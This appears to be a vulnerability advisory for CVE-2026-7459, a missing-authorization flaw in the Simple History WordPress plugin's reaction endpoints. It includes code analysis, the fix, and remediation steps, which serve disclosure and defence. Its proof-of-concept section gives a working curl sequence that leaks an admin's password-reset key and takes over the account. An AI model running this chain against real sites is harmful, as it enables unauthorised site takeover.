CVE-2026-7459: Simple History Subscriber+ Account Takeover (CVSS 7.5)
Table of Contents
CVE-2026-7459 is a CVSS 7.5 (High) Missing Authorization vulnerability in the Simple History – Track, Log, and Audit WordPress Changes WordPress plugin. A Subscriber-level attacker can POST to the event reaction REST endpoint, request the context field, and read the full password-reset email for any user — including administrators. The attacker then uses the embedded reset key to complete a password reset and take over the administrator account.
Vulnerability Summary
| Field | Value |
|---|---|
| Plugin Name | Simple History – Track, Log, and Audit WordPress Changes |
| Plugin Slug | simple-history |
| CVE ID | CVE-2026-7459 |
| CVSS Score | 7.5 (High) |
| CVSS Vector | CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H |
| Vulnerability Type | Missing Authorization |
| Affected Versions | <= 5.26.0 |
| Patched Version | 5.27.0 |
| Published | May 29, 2026 |
| Researcher | lhking |
| Wordfence Advisory | Link |
Description
Simple History is a popular WordPress plugin with over 200,000 active installations. It records all site changes — user logins, post edits, plugin updates — into an audit log. One of the events it records is user_requested_password_reset_link, which logs the full body of the password-reset email, including the reset URL and the secret reset key.
Access to this audit log is controlled by per-logger capability checks. By default, sensitive loggers (like the user logger) require manage_options, which only administrators have. Subscriber-level users cannot normally view these events.
However, the plugin also provides an experimental “reactions” feature. This feature lets users react to log events with emoji. The two REST endpoints that handle reactions — POST /wp-json/simple-history/v1/events/{id}/react and POST /wp-json/simple-history/v1/events/{id}/unreact — were registered with the wrong permission callback. They used get_items_permissions_check() instead of get_item_permissions_check(). The former only verifies the caller is logged in. The latter also runs Log_Query, which filters events based on what the current user is allowed to see.
Because of this, a Subscriber can call the reaction endpoint for any event ID, include ?_fields=context in the request, and receive the full context of that event — including the password-reset email body stored in the user_requested_password_reset_link log entry.
Technical Analysis
Vulnerable REST Route Registration
The plugin registers two REST routes in inc/class-wp-rest-events-controller.php:
// POST /wp-json/simple-history/v1/events/<event-id>/react
register_rest_route(
$this->namespace,
'/' . $this->rest_base . '/(?P<id>[\d]+)/react',
[
'args' => [ 'id' => [...], 'type' => $reaction_type_arg ],
[
'methods' => WP_REST_Server::CREATABLE,
'callback' => [ $this, 'react_to_event' ],
'permission_callback' => [ $this, 'get_items_permissions_check' ], // ← wrong callback
],
],
);
// POST /wp-json/simple-history/v1/events/<event-id>/unreact
register_rest_route(
$this->namespace,
'/' . $this->rest_base . '/(?P<id>[\d]+)/unreact',
[
'args' => [ 'id' => [...], 'type' => $reaction_type_arg ],
[
'methods' => WP_REST_Server::CREATABLE,
'callback' => [ $this, 'unreact_to_event' ],
'permission_callback' => [ $this, 'get_items_permissions_check' ], // ← wrong callback
],
],
);
The Two Permission Callbacks Compared
get_items_permissions_check() (the vulnerable one, used by the reaction endpoints):
public function get_items_permissions_check( $request ) {
// User must be logged in.
if ( ! is_user_logged_in() ) {
return new WP_Error( ... );
}
// Only checks admin for 'surrounding_event_id' — not for reactions.
if ( isset( $request['surrounding_event_id'] ) && ! current_user_can( 'manage_options' ) ) {
return new WP_Error( ... );
}
return true; // Any logged-in user passes for all other requests.
}
get_item_permissions_check() (the correct one, used by get_item and get_item_note):
public function get_item_permissions_check( $request ) {
if ( ! is_user_logged_in() ) {
return new WP_Error( ... );
}
if ( ! Helpers::event_exists( $request['id'] ) ) {
return new WP_Error( ... );
}
// This uses Log_Query, which filters results by per-logger capability.
$log_event = $this->get_single_event( $request['id'] );
if ( $log_event === false ) {
// The user cannot read this logger's events — access denied.
return new WP_Error( 'rest_forbidden_context', ... );
}
return true;
}
The difference is the call to get_single_event(), which runs a Log_Query. That query always applies:
// inc/class-log-query.php line 1745
$sql_loggers_user_can_view = $simple_history->get_loggers_that_user_can_read(
get_current_user_id(),
'sql'
);
$inner_where[] = "logger IN {$sql_loggers_user_can_view}";
The user logger (which stores password reset events) defaults to manage_options. A Subscriber cannot read it via Log_Query. But react_to_event() and unreact_to_event() skip this check entirely.
How the Reaction Callback Returns Event Data
Both reaction callbacks call prepare_item_for_response() at the end:
public function react_to_event( $request ) {
// Checks experimental feature flag...
$event = new Event( $request['id'] ); // Direct DB query, no capability check.
// ...
$data = $this->prepare_item_for_response( $event->get_data(), $request );
return rest_ensure_response( $data );
}
Inside prepare_item_for_response():
if ( rest_is_field_included( 'context', $fields ) ) {
$data['context'] = $item->context; // Full raw context dumped to response.
}
When the attacker adds ?_fields=context to the request, the full context array is returned — including sensitive values like the password-reset email body.
What the User Logger Stores
loggers/class-user-logger.php hooks into retrieve_password to log every password-reset request:
public function onRetrievePasswordMessage( $message, $key, $user_login, $user_data = null ) {
$context = array(
'message' => $message, // ← Full email body, including reset URL + key
'user_login' => $user_login,
'user_email' => $user_data->user_email,
);
$this->notice_message( 'user_requested_password_reset_link', $context );
return $message;
}
The context.message field contains the complete reset email body, which includes a URL like:
https://example.com/wp-login.php?action=rp&key=ABCDEF...&login=admin
An attacker who reads this context can extract the key parameter and use it to reset the admin password.
Exploitation Precondition
The reaction endpoints check for the experimental features flag first:
public function react_to_event( $request ) {
if ( ! Helpers::experimental_features_is_enabled() ) {
return new WP_Error( 'rest_reactions_disabled', ..., [ 'status' => 404 ] );
}
...
}
The simple_history_experimental_features_enabled option must be set to 1 by an administrator. This is not the default. Sites where an administrator has not enabled experimental features are not exploitable.
Proof of Concept
Disclaimer: This PoC is provided for educational purposes only. Do not test against systems you do not own or have explicit written permission to test.
Prerequisites:
- WordPress with Simple History <= 5.26.0 installed and activated.
- An administrator has enabled the experimental features option (
simple_history_experimental_features_enabled = 1). - The attacker has a Subscriber-level account.
Step 1 — Trigger a password reset for the admin account:
curl -s -X POST "https://target.example.com/wp-login.php?action=lostpassword" \
--data "user_login=admin&redirect_to=&wp-submit=Get+New+Password" \
-c /tmp/cookies.txt
This causes WordPress to call the retrieve_password hook, which Simple History intercepts. It logs a user_requested_password_reset_link event containing the full reset email — including the reset URL with the secret key.
Step 2 — Authenticate as Subscriber and brute-force recent event IDs:
# First, log in as Subscriber to get a session cookie.
curl -s -X POST "https://target.example.com/wp-login.php" \
--data "log=subscriber&pwd=password&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F" \
-c /tmp/sub_cookies.txt -b /tmp/sub_cookies.txt
# Probe event IDs from a recent range (e.g., IDs 1 to 500).
for EVENT_ID in $(seq 1 500); do
RESPONSE=$(curl -s -X POST \
"https://target.example.com/wp-json/simple-history/v1/events/${EVENT_ID}/react?_fields=context&type=emoji_thumbs_up" \
-b /tmp/sub_cookies.txt \
-H "Content-Type: application/json" \
-H "X-WP-Nonce: $(curl -s 'https://target.example.com/wp-json/' -b /tmp/sub_cookies.txt | python3 -c 'import sys,json; print(json.load(sys.stdin).get("nonce",""))')")
# Check if this event contains a password reset entry.
if echo "$RESPONSE" | python3 -c "import sys,json; d=json.load(sys.stdin); exit(0 if 'user_requested_password_reset_link' in str(d) else 1)" 2>/dev/null; then
echo "[+] Found password reset event at ID $EVENT_ID"
echo "$RESPONSE" | python3 -m json.tool
break
fi
done
Step 3 — Extract the reset key from the context message:
The context.message field contains the raw reset email body. Parse the key parameter from the URL embedded in the message:
# Example response excerpt:
# "context": {
# "message": "...\nhttps://target.example.com/wp-login.php?action=rp&key=X3vK2mNpQ...&login=admin\n..."
# }
RESET_KEY="X3vK2mNpQ..."
Step 4 — Complete the password reset as the admin:
curl -s -X POST \
"https://target.example.com/wp-login.php?action=rp&key=${RESET_KEY}&login=admin" \
--data "pass1=H4cked123!&pass2=H4cked123!&wp-submit=Reset+Password&rp_key=${RESET_KEY}" \
-c /tmp/cookies.txt
The admin password is now changed to H4cked123!. The attacker has full control of the site.
Patch Analysis
The fix in version 5.27.0 changes a single word in two places:
- 'permission_callback' => [ $this, 'get_items_permissions_check' ],
+ 'permission_callback' => [ $this, 'get_item_permissions_check' ],
This change is applied to both the react and unreact route registrations.
get_item_permissions_check() (singular “item”) runs get_single_event(), which uses Log_Query. That query enforces the per-logger capability list. For the user logger — which stores password reset events — the required capability is manage_options. A Subscriber who does not have manage_options gets a false result from get_single_event(), which causes get_item_permissions_check() to return a 403 Forbidden error. The reaction callback never runs.
The fix is minimal and precise. It corrects a naming inconsistency — get_items_permissions_check (plural, for listing events) was incorrectly used where get_item_permissions_check (singular, for a specific event) was required.
Timeline
| Date | Event |
|---|---|
| May 29, 2026 | Vulnerability publicly published by Wordfence |
| May 30, 2026 | Advisory last updated |
| May 29, 2026 | Patch released in version 5.27.0 |
Remediation
Update Simple History to version 5.27.0 or later immediately.
- In the WordPress admin dashboard, go to Plugins → Installed Plugins.
- Find Simple History – Track, Log, and Audit WordPress Changes.
- Click Update Now.
Alternatively, download the patched version directly from wordpress.org/plugins/simple-history/.
If you cannot update right now, disabling the experimental features option (simple_history_experimental_features_enabled) removes the attack surface, since the reaction endpoints check this flag before proceeding.
References
- Wordfence Advisory — CVE-2026-7459
- CVE Record — CVE-2026-7459
- Vulnerable
react_to_event— line 1420 (5.26.0) - Vulnerable
unreact_to_event— line 1460 (5.26.0) - Vulnerable
get_items_permissions_check— line 778 (5.26.0) - Event context query — class-event.php line 613 (5.26.0)
- Patch changeset — class-wp-rest-events-controller.php